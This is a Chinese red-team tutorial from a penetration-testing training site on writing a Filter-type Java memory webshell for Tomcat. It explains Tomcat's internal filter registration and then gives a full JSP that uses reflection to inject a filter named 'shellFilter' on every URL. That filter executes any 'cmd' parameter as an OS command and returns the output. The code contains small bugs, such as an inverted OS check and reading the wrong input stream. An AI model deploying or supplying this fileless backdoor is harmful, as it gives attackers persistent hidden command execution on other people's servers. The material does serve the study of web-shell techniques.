1. 首页
  2. 红队技术

Java内存马(一)Filter型

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

一、基础知识

💡 ServletContxt接口

他是Servlet上下文对象,一个web工程只有一个该对象实例,在工程启动时创建,结束时销毁;由于在该web工程中,所有的servlet可以通过该实例进行通讯,因此也被称为域对象

在Tomcat中,ServletContext的实现类为ApplicationContext,在ApplicationContext中又包含StandardContext实例,该实例可以用于获取Tomcat内部的一些信息,例如Servlet、Filter、Listener等信息

我们可以通过request.getServletContext() 来获取,demo如下,我们创建一个Filter:

package com.bajiu.filter;
import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;import java.io.IOException;
/** * @author 八九 * @version 1.0 */public class ManageFilter implements Filter {
    @Override    public void init(FilterConfig filterConfig) throws ServletException {        System.out.println("ManagerFilter 初始化方法被调用");    }
    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
        ServletContext servletContext = request.getServletContext();    }
    @Override    public void destroy() {        //当filter被销毁时,调用该方法        System.out.println("ManageFilter 被销毁...");    }}

并在web.xml 中配置:

<filter>        <filter-name>ManageFilter</filter-name>        <filter-class>com.bajiu.filter.ManageFilter</filter-class></filter><filter-mapping>        <filter-name>ManageFilter</filter-name>        <url-pattern>/manage/*</url-pattern></filter-mapping>

我们对demo进行断点调试:

可以看到,request.getServletContext() 获取到的实例类为:ApplicationContextFacade

封装关系为:ApplicationContextFacadeApplicationContext StandardContext(包含着Tomcat内部重要信息)

Java内存马(一)Filter型

我们接着对StandardContext对象实例进行查看,里面存在非常重要的两个HashMap:filterConfigsfilterDefs,StandardContext:filterMaps    (存在三个Filter,Tomcat WebSocket(JSR356) Filter 是Tomcat自带生成)

  • filterConfigs  对应 key-value :filterName-ApplicationFilterConfig[name,filterClass]

  • filterDefs对应key-value:filterName-filterDef[filterName,filterClass]

  • filterMaps是StandardContext数组,用于存放 filterName和作用效果的url

Java内存马(一)Filter型

在正常业务中,我们创建Filter,Tomcat底层读取web.xml 文件,对Filter进行注册操作:

  • 创建Filter

  • 用filterDef 对 filterConfig 进行封装

  • 将filterDef添加到filterDefs跟filterConfigs中

  • 创建filterMap,将URL和filter进行绑定,并put进filterMaps中

二、内存马编写

1、获取StandardContext

由于ApplicationContextFacade ApplicationContext封装的 Context 属性都为 private,因此我们无法直接从中获取,需要用到反射机制

Java内存马(一)Filter型

代码如下:

//获取第一层封装 -> ApplicationContextField applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);//获取第二层封装 -> StandardContextField standardContextField = ApplicationContext.class.getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

二、设置FilterDefs

org.apache.tomcat.util.descriptor.web.FilterDef 中,存在setFilter 方法修改filter → 接着调用StandardContext#addFilterDef() 添加FilterDefsJava内存马(一)Filter型

Java内存马(一)Filter型

代码如下:

FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName("shellFilter");filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);

三、filterConfig封装flterDefs,并添加到filterConfigs中

我们进入 org.apache.catalina.core.StandardContext 发现 filterConfigs 的 泛型为:<String,ApplicationFilterConfig>

Java内存马(一)Filter型

而ApplicationFilterConfig 中存在定义属性:private final transient Context context

Java内存马(一)Filter型

想通过ApplicationFilterConfig的构造器对其初始化,很遗憾的是,该构造器修饰符为default,因此又得用到反射获取构造器 → 初始化 StandardContext

Java内存马(一)Filter型

代码如下:

Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext,filterDef);

获得filterConfig,我们再从StandardContext里获取filterConfigs,将前者添加进后者

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);Map filterConfigs = (Map) filterConfigsField.get(standardContext);filterConfigs.put("shellFilter",filterConfig);

四、生成filterMap添加到filterMaps

filterMaps需要设置名称,pattern,dispatcher

这里的dispatcher需要设置为DispatcherType.REQUEST,该选项指定了filter过滤器根据DispatcherType的类型是否执行。这也是为什么需要tomcat7以上的原因

FilterMaps可以用两种方式添加map:addFilterMap 或者addFilterMapBefore(),后者可以将filter添加至最前面

代码如下:

FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("evilFilter");filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);

全部代码如下:

<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="static java.lang.System.in" %><%@ page import="java.io.PrintWriter" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.util.Map" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--  Created by IntelliJ IDEA.  User: 八九  Date: 2023-04-07  Time: 23:00  To change this template use File | Settings | File Templates.--%><%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%    /**     * 通过两层反射,获取StandardContext     */    ServletContext servletContext = request.getServletContext();    Field applicationContextField = servletContext.getClass().getDeclaredField("context");    applicationContextField.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");    standardContextField.setAccessible(true);    StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

    Filter filter = new Filter() {
        @Override        public void init(FilterConfig filterConfig) throws ServletException {
        }
        @Override        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {           //获取cmd参数           if (request.getParameter("cmd") != null){               //判断操作系统为Win还是Linux               boolean isWin = true;                String osType = System.getProperty("os.name");                if (osType != null && osType.toLowerCase().contains("linux")){                    isWin = false;                }                //命令执行 -> 根据不同系统设置不同执行命令方式                String cmds[] = isWin ? new String[]{"sh","-c",request.getParameter("cmd")}:new String[]{"cmd.exe","/c",request.getParameter("cmd")};                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner(in).useDelimiter("A");                String output = s.hasNext() ? s.next() : "";               PrintWriter writer = response.getWriter();               writer.print(output);               writer.flush();               writer.close();           }           chain.doFilter(request, response);        }
        @Override        public void destroy() {
        }    };
    /**     * 设置filterDef ,并添加进 standardContext     */    FilterDef filterDef = new FilterDef();    filterDef.setFilter(filter);    filterDef.setFilterName("shellFilter");    filterDef.setFilterClass(filter.getClass().getName());    standardContext.addFilterDef(filterDef);
    /**     * filterConfig 封装 filterDef,并将filterConfig 添加到filterConfigs     * 由于ApplicationFilterConfig 构造器为private,因此用到反射获取     * 接着从standardContext中获取filterConfigs属性 -> 依旧用到反射     */    Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);    constructor.setAccessible(true);    ApplicationFilterConfig applicationFilterConfig = constructor.newInstance(standardContext, filterDef);
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");    filterConfigsField.setAccessible(true);    Map filterConfigs = (Map)filterConfigsField.get(standardContext);    filterConfigs.put("shellFilter",applicationFilterConfig);
        //生成filterMap,添加到filterMaps中         FilterMap filterMap = new FilterMap();    filterMap.addURLPattern("/*");    filterMap.setFilterName("shellFilter");    filterMap.setDispatcher(DispatcherType.REQUEST.name());    standardContext.addFilterMapBefore(filterMap);%>

最终效果,访问 http://localhost:8080/shell.jsp 将内存马写入内存中,任意url地址cmd进行命令执行操作:

Java内存马(一)Filter型

即使uri不存在

Java内存马(一)Filter型

三、Debug调试

最后,我们下断点,查看我们的内存马有没有成功写入

重启web工程,访问index.jsp,发现在这里还未写入我们的内存马:shellFilter

Java内存马(一)Filter型

接着,我访问shell.jsp 页面,在最后下断点输出调试信息

Java内存马(一)Filter型

Java内存马(一)Filter型

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/8289.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息